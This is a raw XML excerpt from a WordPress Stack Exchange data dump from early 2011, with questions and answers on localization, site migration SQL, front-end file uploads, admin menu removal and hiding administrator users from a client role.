Tags="&lt;i18n&gt;&lt;l10n&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="10726" PostTypeId="2" ParentId="10725" CreationDate="2011-02-28T17:15:31.047" Score="-2" ViewCount="" Body="&lt;p&gt;I think use &lt;code&gt;__( $message )&lt;/code&gt; is totally fine. I also think one would expect the API messages to be relatively constant. I'd say the best way to do it would be to use a domain that signifies the API itself rather than your plugin, so that the translations can be reused by whoever else accesses the same API: &lt;code&gt;__( $message, 'wonder-api' )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i'd first research if the API does support localization in itself. If so, the API's localization protocol should be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, though, you'd try to get a 'response code' from the API rather than a response message, so that you can map your own messages against the response codes. Most API's do deliver response codes alongside the messages.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-28T17:50:37.427" LastActivityDate="2011-02-28T17:50:37.427" CommentCount="6" />
  <row Id="10727" PostTypeId="1" CreationDate="2011-02-28T17:16:04.603" Score="1" ViewCount="299" Body="&lt;p&gt;I do local WP development on a WordPress Multisite instance. What is the best way to move theme settings from there to the live instance? By theme settings I am talking about widgets and theme options.&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2011-06-25T17:33:02.480" Title="Can You Export Theme Settings From WordPress Multisite?" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;multisite&gt;&lt;theme-options&gt;" AnswerCount="3" />
  <row Id="10728" PostTypeId="1" AcceptedAnswerId="10730" CreationDate="2011-02-28T15:44:39.127" Score="0" ViewCount="38" Body="&lt;p&gt;I want to make a forum site which uses the bbPress plugin for Wordpress (it turns Wordpress into a forum platform). The forums say that the beta plugin shouldn't be used in production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get some things done, I thought about some elements that may not be affected by changes in the core of the plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The graphic design part&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The UI part&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The CSS&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some features&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:05:12.773" LastActivityDate="2011-05-10T08:05:12.773" Title="Suggestions to prepare a site which is 90% based on a plugin that's still on beta stage?" Tags="&lt;bbpress&gt;&lt;development-strategy&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="10729" PostTypeId="2" ParentId="10725" CreationDate="2011-02-28T17:24:58.137" Score="5" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should such messages be localized at all or are they out of scope for localization?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, they should be localized ... but don't depend on the text returned by the API.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does something like &lt;code&gt;__( $message );&lt;/code&gt; even make sense?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really.  First of all, you're not providing a text domain for the string to use in localization.  It should really be &lt;code&gt;__( $message, 'my-text-domain' );&lt;/code&gt;.  Even then, if you don't have a &lt;em&gt;static&lt;/em&gt; list of values for &lt;code&gt;$message&lt;/code&gt;, localaization is a moot point.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What You Can Do Instead&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Robustness_principle&quot; rel=&quot;nofollow&quot;&gt;The Robustness Principle&lt;/a&gt; is a great thing to keep in mind whenever you integrate content from an external API.  You can never fully trust what the API gives you ... the original owners might change things around without notifying you, or their system might break and provide erroneous information.  So you should always:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Be conservative in what you send; be liberal in what you accept.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you already know what content the API will return (i.e. a static list of strings), put that in your plug-in.  Then use a sanitation method to map what the API returned to your localized strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$map = array( &#xA;    'This is one return' =&amp;gt; __( 'This is one return', 'my-text-domain' ),&#xA;    'This is another' =&amp;gt; __( 'This is another', 'my-text-domain' )&#xA;);&#xA;&#xA;sanitize_api_feedback( $api_sent ) {&#xA;    return $map[$api_sent];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this way, you &lt;em&gt;never actually use the raw output of the external API&lt;/em&gt; but always run it through your own filter.  You have complete control over the text strings used and can run them through the standard localization filters as well.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If the API Return is Free-form&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you don't have a list of static strings returned by the API, this won't work.  Then again, if the API returns free-form content you should either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Leave localization up to the API itself (if possible)&lt;/li&gt;&#xA;&lt;li&gt;Provide you end user with some other translation service ... maybe &lt;a href=&quot;http://translate.google.com/&quot; rel=&quot;nofollow&quot;&gt;Google Translate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's no way your plug-in can be responsible for translating free-form strings on the fly.  But a static list of easily-expected error messages?  That's definitely something you can, and should, do.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-28T17:24:58.137" CommentCount="13" />
  <row Id="10730" PostTypeId="2" ParentId="10728" CreationDate="2011-02-28T17:25:17.997" Score="1" ViewCount="" Body="&lt;p&gt;If you are not going to use a ready made forum platform like :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SMF&lt;/li&gt;&#xA;&lt;li&gt;phpBB&lt;/li&gt;&#xA;&lt;li&gt;Vbulletin&lt;/li&gt;&#xA;&lt;li&gt;myBB&lt;/li&gt;&#xA;&lt;li&gt;Vanilla&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;becuase that site is not all forum but also a forum and you want wordpress as your platform then i would suggest you look at &lt;a href=&quot;http://simple-press.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SimplePress&lt;/strong&gt;&lt;/a&gt; as your forum plugin which is very mature and is constantly updated, packed with features and I can safely recommend it as a forum plugin form wordpress.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T17:25:17.997" CommentCount="1" />
  <row Id="10731" PostTypeId="2" ParentId="10727" CreationDate="2011-02-28T17:28:19.710" Score="1" ViewCount="" Body="&lt;p&gt;The best way would be to create an SQL export dump of your database for that site more spesificly the options table of the database.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T17:28:19.710" />
  <row Id="10732" PostTypeId="1" AcceptedAnswerId="10740" CreationDate="2011-02-28T17:34:47.817" Score="0" ViewCount="241" Body="&lt;p&gt;i'm probably breaking a few common sense rules here.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;is there a way to utilize wordpress' bake in attachment file handling for&#xA;  an upload form within a theme&#xA;  template?  yes, the front end -- i know.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;i’m creating a memorial site and i want people to be able to leave textual photographic &quot;comments&quot; for a dear person our community has lost.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but these aren't wordpress users.  they're aunts and kids and everything in between. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;these people are not going to be able to figure out WP default media UI and i don't want them having to log in and futz around.  too confusing for them.  if this weren't such a specific and delicate project, i wouldn't be trying to bend the rules so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i understand that i'm opening up security holes by allowing anyone to upload a file, but i think it's somewhat necessary.  all uploaded attachments will be &quot;pending.&quot;  i have both the text and photos set a custom post type, not as comments, so that i can utilize some built in post data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it would be &lt;em&gt;great&lt;/em&gt; if i could utilize worpdress built in file checking, handling, naming, size... etc. even though the file handling is on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i thought that perhaps i could use:&#xA;   &lt;strong&gt;wp_handle_upload()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by including &lt;strong&gt;'../wp-admin/includes/file.php'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that didn't work.  i get a fatal error when i try to include it.  is it just TOTALLY against the rules to include admin includes within templates... probably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i could just do all the file handling myself, but thought perhaps there's a way to utilize wordpress' functionality and that it may be safer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or are there suggestions on another route i should be going on altogether?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unfortunately this is pretty time sensitive... the memorial service is coming up in a few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you so much&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jonah &lt;/p&gt;&#xA;" OwnerUserId="2227" LastActivityDate="2011-05-16T18:54:19.233" Title="exposing attachment uploading to the front end -- delicate" Tags="&lt;attachments&gt;&lt;uploads&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10733" PostTypeId="2" ParentId="10501" CreationDate="2011-02-28T17:38:20.393" Score="3" ViewCount="" Body="&lt;p&gt;Via the &quot;Annotate&quot; function the the Trac, &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-admin/admin.php?annotate=blame&amp;amp;rev=17333#L235&quot; rel=&quot;nofollow&quot;&gt;you can see that this was added three years ago&lt;/a&gt;, after the request for &lt;a href=&quot;http://core.trac.wordpress.org/ticket/7283&quot; rel=&quot;nofollow&quot;&gt;a generic POST handler that plugins can use&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google code search tells me that &lt;a href=&quot;http://google.com/codesearch?hl=en&amp;amp;lr=&amp;amp;q=admin_action+package%3asvn.wp-plugins.org&amp;amp;sbtn=Search&quot; rel=&quot;nofollow&quot;&gt;at least Akismet uses this hook&lt;/a&gt;, and &lt;a href=&quot;http://plugins.trac.wordpress.org/changeset/61062/akismet/trunk/akismet.php&quot; rel=&quot;nofollow&quot;&gt;it appeared there at the time it was introduced in core&lt;/a&gt;. It works &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/akismet/tags/2.5.3/admin.php#L475&quot; rel=&quot;nofollow&quot;&gt;by calling &lt;code&gt;admin.php&lt;/code&gt; directly&lt;/a&gt; (and not the plugin page). From there &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/akismet/tags/2.5.3/admin.php#L692&quot; rel=&quot;nofollow&quot;&gt;it can just do a redirect at the end&lt;/a&gt;. The trick is thus to call &lt;code&gt;admin.php?action=your_action&lt;/code&gt;, other URLs are not guaranteed to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many (but not all) admin pages include &lt;code&gt;admin.php&lt;/code&gt;, as a sort of initialization. In this case your action would be fired before any output is sent, because the admin page includes &lt;code&gt;admin-header.php&lt;/code&gt; after &lt;code&gt;admin.php&lt;/code&gt;. This won't work on every admin page: not all of them include &lt;code&gt;admin.php&lt;/code&gt;, and others have checks for &quot;rogue&quot; &lt;code&gt;action&lt;/code&gt; query variables, and give you a &lt;em&gt;&quot;Are you sure you want to do that?&quot;&lt;/em&gt; warning (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/functions.php#L2545&quot; rel=&quot;nofollow&quot;&gt;due to missing nonces?&lt;/a&gt;). &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/admin.php#L144&quot; rel=&quot;nofollow&quot;&gt;For a plugin page &lt;code&gt;admin.php&lt;/code&gt; does everything&lt;/a&gt;: it displays the header (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/admin.php#L148&quot; rel=&quot;nofollow&quot;&gt;unless the &lt;code&gt;noheader&lt;/code&gt; query variable is in the URL&lt;/a&gt;), calls your page, and displays the footer (unless you called &lt;code&gt;exit()&lt;/code&gt; in your code!). &lt;code&gt;admin.php&lt;/code&gt; then calls &lt;code&gt;exit()&lt;/code&gt; itself, so the &lt;code&gt;admin_action_&lt;/code&gt; hook is not even called there.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-28T19:25:15.177" LastActivityDate="2011-02-28T19:25:15.177" CommentCount="7" />
  <row Id="10734" PostTypeId="1" CreationDate="2011-02-28T17:54:44.427" Score="0" ViewCount="159" Body="&lt;p&gt;I've set up a redesign of a site in the subdomain to work out any kinks and to make sure everythings working ok before setting it up on the root domain. I've looked up transfers but have only found info on transfering from host to host or from local to host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a wordpress site that was previously locally hosted, so I know how to transfer a site, I'm just hoping that there is an easier way to do this since this is transferring from subdomain to domain - like hopefully without having to reinstall wordpress...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions or suggestions welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="3498" LastActivityDate="2011-05-29T20:55:10.227" Title="Transfer WP from subdomain to main domain" Tags="&lt;transfer&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10735" PostTypeId="2" ParentId="10718" CreationDate="2011-02-28T18:05:29.930" Score="1" ViewCount="" Body="&lt;p&gt;What do your permalink structure look like? Have you already read &lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;this on Codex&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: similar thread &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10706/wp-3-1-archive-pages-for-custom-content-types-possible-now-without-a-plugin&quot;&gt;over here&lt;/a&gt;. Might fit your needs.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-28T18:19:46.610" LastActivityDate="2011-02-28T18:19:46.610" CommentCount="4" />
  <row Id="10736" PostTypeId="2" ParentId="10710" CreationDate="2011-02-28T18:14:32.980" Score="1" ViewCount="" Body="&lt;p&gt;There's no perfect solution, because your search would be pretty general. Keyboardshortcuts are a real help in such cases. Ex. Notepad++ [Ctrl] + [F] = search. Then [N] for find and [R] for replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most editors offer search (that includes search&amp;amp;replace) across files (ex. notepad++). You could do a search for &lt;code&gt;__('&lt;/code&gt;, take a look at the search results list (opens at the exact position with a double click) and then replace &lt;code&gt;');&lt;/code&gt; with &lt;code&gt;', MY_TEXTDOMAIN );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Top of your functions.php should then have something like:&lt;br&gt;&#xA;&lt;code&gt;define( 'MY_TEXTDOMAIN', 'my_textdomain_string' );&lt;/code&gt;&lt;br&gt;&#xA;This will hold you away from replaceing everything again, when you decide to change the textdomain string, because it's stored centrally in the Constant MY_TEXTDOMAIN.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-28T18:14:32.980" CommentCount="2" />
  <row Id="10737" PostTypeId="2" ParentId="10718" CreationDate="2011-02-28T18:15:09.890" Score="1" ViewCount="" Body="&lt;p&gt;You should consider asking one question at a time.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And lastly: is there a template to be&#xA;  created which outputs all the years&#xA;  and months of the custom post type&#xA;  with wp_get_archives()? Or do I have&#xA;  to create a different template to&#xA;  create them for each post-type?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You mean like this: &lt;a href=&quot;http://scribu.net/wordpress/smart-archives-reloaded&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/smart-archives-reloaded&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-28T18:15:09.890" CommentCount="1" />
  <row Id="10738" PostTypeId="1" CreationDate="2011-02-28T18:15:57.423" Score="0" ViewCount="80" Body="&lt;p&gt;I'm developing a powerful game database for a client, where people can submit game reviews, cheats, guides, get latest news, interact with each other, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most daunting thing to code is going to be the navigation. We have (right now) 39 platform systems (IE: DS, PS3, XBOX, etc). We'll have to add more later, as people request them so however we set this up, it has to have extendability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for instance, someone might click on DS. The DS page should show the top 10 Reviews, Cheats and Guides for all DS games and have a &quot;view all&quot; link, but should also have another navigation line for game Ganre. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So someone might click on Fantasy. Now we have DS &gt; Fantasy. This page should then show all DS games categorized as &quot;Fantasy&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So someone might click on Zelda. Now we have DS &gt; Fantasy &gt; Zelda. This page should show all the cheats, reviews, and guides for Zelda on DS. But it should also show related games (IE: Other Zeldas.). Each post type (Cheats, Guides, Reviews) will have a &quot;view all link&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So someone might click &quot;View all Cheats&quot;. Now we have DS &gt; Fantasy &gt; Zelda &gt; Cheats. This page would show all the cheats posted for the DS platform categorized as Fantasy and defined as Zelda. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then someone can select a cheat and this would finally take them to a post, ending with&#xA; DS &gt; Fantasy &gt; Zelda &gt; Cheats &gt; Cheat Post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all seems very convoluted and complicated to me. And I can't even begin to get started because I have no idea where to even start. Any suggestions, starting point recomendations, or otherwise are very, very appreciated here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Reference gamefaqs.com, which is the site we are benchmarking here.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-28T18:15:57.423" Title="Best way to create a &quot;directory&quot;, &quot;drill down&quot;, &quot;Glossary&quot;?" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;paid-plugins&gt;&lt;directories&gt;" CommentCount="6" />
  <row Id="10739" PostTypeId="2" ParentId="10704" CreationDate="2011-02-28T18:16:54.910" Score="1" ViewCount="" Body="&lt;p&gt;Here is exactly what you need,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bavotasan.com/tutorials/simple-voting-for-wordpress-with-php-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://bavotasan.com/tutorials/simple-voting-for-wordpress-with-php-and-jquery/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see you can track the user(s) and vote(s),&#xA;also you can add some extra columns in your users admin area to track the votes.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-02-28T18:16:54.910" CommentCount="2" />
  <row Id="10740" PostTypeId="2" ParentId="10732" CreationDate="2011-02-28T18:34:55.223" Score="4" ViewCount="" Body="&lt;p&gt;here is the function i use whenever i accept uploads from front end and you can use it in your template files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function insert_attachment($file_handler,$post_id,$setthumb='false') {&#xA;&#xA;  // check to make sure its a successful upload&#xA;  if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) __return_false();&#xA;&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;&#xA;  $attach_id = media_handle_upload( $file_handler, $post_id );&#xA;&#xA;  if ($setthumb) update_post_meta($post_id,'_thumbnail_id',$attach_id);&#xA;  return $attach_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set $post_id to the id of the post you want to attach&#xA;// these uploads to (or 'null' to just handle the uploads&#xA;// without attaching to a post)&#xA;&#xA;if ($_FILES) {&#xA;  foreach ($_FILES as $file =&amp;gt; $array) {&#xA;    $newupload = insert_attachment($file,$post_id);&#xA;    // $newupload returns the attachment id of the file that&#xA;    // was just uploaded. Do whatever you want with that now.&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T18:34:55.223" CommentCount="1" />
  <row Id="10741" PostTypeId="2" ParentId="6901" CreationDate="2011-02-28T18:36:28.790" Score="0" ViewCount="" Body="&lt;p&gt;If the services hosting the original media don't support OEmbed, then you're going to have to manually install your own players. There's no built-in function that will give you media players that easily. If they &lt;em&gt;do&lt;/em&gt; support OEmbed, then all you need to do is wrap your links in [embed] shortcodes with a content filter, and maybe add a filter to whitelist the OEmbed services.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-02-28T18:36:28.790" CommentCount="3" />
  <row Id="10742" PostTypeId="1" AcceptedAnswerId="10748" CreationDate="2011-02-28T18:55:27.567" Score="3" ViewCount="276" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; Original title was &quot;Remove Admin from User Menu&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a client administrator role which is essentially an Editor with ability to add/remove users. The article &lt;em&gt;&quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4479/editor-can-create-any-new-user-except-administrator&quot;&gt;Editor can create any new user except administrator&lt;/a&gt;&quot;&lt;/em&gt; was excellent in helping keep my new client admin role from editing or creating a True admin user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However what would be ideal is to hide administrators from client admins when they are viewing users. I want them to &lt;em&gt;&quot;believe&quot;&lt;/em&gt; that they are the admin of their site but I do not want them to be able to even view my role/user--essentially hiding the &lt;em&gt;&quot;administrator&quot;&lt;/em&gt; role from them when they are in the &lt;em&gt;&quot;Users&quot;&lt;/em&gt; panel.&lt;/p&gt;&#xA;" OwnerUserId="3580" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-28T19:09:16.130" LastActivityDate="2011-03-02T04:53:44.820" Title="Remove Ability for Other Users to View Administrator in User List?" Tags="&lt;users&gt;&lt;capabilities&gt;&lt;roles&gt;&lt;plugin-members&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10743" PostTypeId="2" ParentId="10734" CreationDate="2011-02-28T18:56:25.660" Score="1" ViewCount="" Body="&lt;p&gt;After copying to the main-directory change the values in then &lt;code&gt;wp-config.php&lt;/code&gt; and &lt;code&gt;.htaccess&lt;/code&gt; files for the new localtion. Then you have to change the values in the database. You need 3 SQL-Statements, which you can execute with &lt;code&gt;phpMyAdmin&lt;/code&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First change the options-Table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options&#xA;SET option_value = replace(option_value, 'http://www.example.com/subdir', 'http://www.example.com')&#xA;WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second change the values for the &lt;code&gt;guid&lt;/code&gt; in the posts-table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_posts&#xA;SET guid = replace(guid, 'http://www.example.com/subdir', 'http://www.example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third change the URL in the posts-Table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_posts&#xA;SET post_content = replace(post_content, 'http://www.example.com/subdir', 'http://www.example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have used another prefix then &lt;code&gt;wp_&lt;/code&gt; you have to change it in the 3 SQL-Statements. Pay attention at the example domain-names, too.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-02-28T18:56:25.660" CommentCount="2" />
  <row Id="10744" PostTypeId="1" CreationDate="2011-02-28T18:56:27.607" Score="1" ViewCount="142" Body="&lt;p&gt;I've got an action set up on &lt;code&gt;admin_menu&lt;/code&gt; to modify it as needed. I successfully removed the themes menu with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_submenu_page('themes.php', 'themes.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to get rid of the useless yet dangerous theme editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_submenu_page('themes.php', 'theme-editor.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This refuses to work for whatever reason. I can remove any of the other appearance menu items but the theme editor refuses to listen to my demands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That particular menu item is indeed added via &lt;code&gt;add_submenu_page&lt;/code&gt; on line 163 of &lt;code&gt;wp-admin/menu.php&lt;/code&gt; so I fail to see why I can't get rid of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2011-08-28T16:36:12.077" Title="Theme editor menu item refuses to go away" Tags="&lt;admin-menu&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10746" PostTypeId="2" ParentId="10744" CreationDate="2011-02-28T19:18:59.810" Score="0" ViewCount="" Body="&lt;p&gt;In WP 3.1, you should be able to use the &lt;code&gt;views_users&lt;/code&gt; filter to limit the views displayed on the users page. The views are the horizontally arranged links to filter by role.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-28T19:18:59.810" />
  <row Id="10747" PostTypeId="1" AcceptedAnswerId="10752" CreationDate="2011-02-28T19:20:18.430" Score="0" ViewCount="122" Body="&lt;p&gt;It's possible to disable a plugin just for a post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm displaying a post in my footer but I've installed &lt;strong&gt;Simple Facebook Share Button&lt;/strong&gt; and I don't know how to remove that button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I can't use css to hide the button :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2011-02-28T19:47:21.250" Title="Disable plugin only for one post" Tags="&lt;plugins&gt;&lt;3.0&gt;" AnswerCount="1" />
  <row Id="10748" PostTypeId="2" ParentId="10742" CreationDate="2011-02-28T19:22:22.390" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Carlos:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding the following to your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or in a &lt;code&gt;.php&lt;/code&gt; file within a plugin that you might be writing &lt;em&gt;(which works for WordPress 3.1.x):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_user_query','yoursite_pre_user_query');&#xA;function yoursite_pre_user_query($user_search) {&#xA;  $user = wp_get_current_user();&#xA;  if ($user-&amp;gt;ID!=1) { // Is not administrator, remove administrator&#xA;    global $wpdb;&#xA;    $user_search-&amp;gt;query_where = str_replace('WHERE 1=1',&#xA;      &quot;WHERE 1=1 AND {$wpdb-&amp;gt;users}.ID&amp;lt;&amp;gt;1&quot;,$user_search-&amp;gt;query_where);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have WordPress 3.0.x try this instead &lt;em&gt;(since WordPress didn't add the &lt;code&gt;'pre_user_query'&lt;/code&gt; hook until 3.1):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_user_search','yoursite_pre_user_search');&#xA;function yoursite_pre_user_search($user_search) {&#xA;  $user = wp_get_current_user();&#xA;  if ($user-&amp;gt;ID!=1) { // Is not administrator, remove administrator&#xA;    global $wpdb;&#xA;    $user_search-&amp;gt;query_where = str_replace('WHERE 1=1',&#xA;      &quot;WHERE 1=1 AND {$wpdb-&amp;gt;users}.ID&amp;lt;&amp;gt;1&quot;,$user_search-&amp;gt;query_where);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-02T04:53:44.820" LastActivityDate="2011-03-02T04:53:44.820" CommentCount="10" />
